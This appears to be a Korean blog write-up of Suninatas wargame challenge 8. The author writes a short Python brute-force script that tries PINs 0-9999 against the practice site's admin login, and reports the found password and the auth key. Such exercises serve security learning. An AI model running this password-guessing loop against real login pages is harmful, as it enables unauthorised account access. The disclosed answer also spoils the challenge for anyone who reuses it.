도카이트

[Wargame] Suninatas 8번 Write-Up 본문

Wargame/Suninatas

[Wargame] Suninatas 8번 Write-Up

dodoh4t 2022. 6. 5. 02:32
728x90
반응형

문제 화면

[Suninatas 8번 문제 화면]

- ID / PW 를 입력하여 로그인을 할 수 있는 화면이 출력된다.

- 소스코드를 확인해보자!

 

 

소스코드

[페이지 소스코드]

- form method로 post 방식을 사용하고 있다!

- Hint 를 생각보다 상당히 직관적으로 알려주고 있다. 

- ID에 admin을 입력 후 PW에 0 ~ 9999 까지의 수를 대입하여 로그인하면 되는듯 하다.

- 문제 해결 방법을 알았으니 바로 사전 대입 공격을 시도해보자 !

 

 

Burp Suite Community 버전의 경우, Brute Force 공격을 비롯하여 값을 대입하고 Request 하는 속도가 상당히 느리다.

그러므로 이번 문제는 Python의 requests 모듈을 이용하여 코드를 작성하여 문제를 해결해보도록 하자 !!

 

 

dictionary_attack.py 작성

# dictionary_attack.py

import requests

for pw in reversed(range(0, 10000)):
    url = "http://suninatas.com/challenge/web08/web08.asp"
    data = {'id':'admin', 'pw':pw}
    r = requests.post(url=url, data=data)
    if "Password Incorrect!" not in r.text:
        print(pw)
    print("현재 대입한 패스워드: ", pw)

- requests 모듈을 이용하여 간단한 파이썬 코드를 작성한다.

- 0 부터 9999까지의 수를 reversed 함수를 이용하여 역순으로 대입한다.

- 그 이유는 … 0부터 대입할 경우 패스워드 값을 찾는데 상당한 시간이 걸린다 …..

- 이미 한 번의 시행착오(?)를 겪었기에 Write-up 작성은 역순으로 작성한 코드를 가져왔다.

 

 

코드 실행 후 Password 값 찾기

[dictionary_attack.py 실행 결과]

- 현재 대입한 패스워드 문자열 없이 출력된 패스워드 값 하나를 발견할 수 있다 !

- 해당 값을 대입하였을 경우 성공적으로 로그인이 되는 값인 듯 하다.

- 7707 을 입력하여 admin으로 로그인을 시도해보자 !

 

 

로그인 성공

[로그인 성공 및 Authkey 획득]

- 로그인 후 성공적으로 Authkey 를 획득할 수 있다 !!

728x90

'Wargame > Suninatas' 카테고리의 다른 글

[Wargame] Suninatas 23번 Write-Up  (0) 2022.06.05
[Wargame] Suninatas 22번 Write-Up  (0) 2022.06.05
[Wargame] Suninatas 7번 Write-Up  (0) 2022.05.31
[Wargame] Suninatas 6번 Write-Up  (0) 2022.05.31
[Wargame] Suninatas 5번 Write-Up  (0) 2022.05.31
Comments